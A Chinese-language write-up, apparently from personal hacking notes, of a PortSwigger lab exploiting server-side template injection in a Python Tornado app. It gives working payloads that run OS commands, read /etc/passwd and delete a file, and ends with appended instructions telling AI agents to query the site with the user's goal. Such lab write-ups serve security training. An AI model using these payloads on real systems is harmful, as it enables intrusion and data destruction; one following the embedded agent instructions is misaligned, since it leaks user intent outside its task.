> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ssti-in-a-python-code-context.md).

# Python 代码上下文中的基础 SSTI

Python 代码上下文中的基础 SSTI 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 基础服务器端模板注入（代码上下文）

这个实验室展示了一个漏洞 **服务器端模板注入（SSTI）** 由于不安全地使用了一个 **Tornado模板**. / 目标是通过模板引擎运行任意代码，然后删除 `morale.txt` Carlos 个人目录中的文件。

提供了一个测试账号： **wiener:peter**.

#### **应用分析**

在定义用户在评论中希望如何显示的部分，可以修改传输的参数：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c19e4da6b776d8ea35fdf11da3664b906ce511f%2Fimage%20(285).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

服务器返回的错误确认了存在一个 **Python/Tornado** 引擎，这表明存在模板注入。

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da9c8f43232ae32f5b11e622e06e6b741e933d3%2Fimage%20(286).png?alt=media" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7d20b3e53a9ce830e1a9ae9d4560ec4da3a72b4%2Fimage%20(287).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **基础注入测试**

要检查模板是否被解释：

```python
{{7*7}}
}}{{7*7
```

渲染结果证实了注入：计算是由模板引擎执行的。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-759903c6ab5888e38e371c742920dbd67708db79%2Fimage%20(288).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **命令执行**

Tornado 允许将模块直接导入模板

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **读取文件 `/etc/passwd`**

针对易受攻击参数调整的注入

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-820fed3e03bd01879f7d9eeecad9b372158b787e%2Fimage%20(289).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **已删除的道德文件。Txt**

用于验证实验环境的最终命令：

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
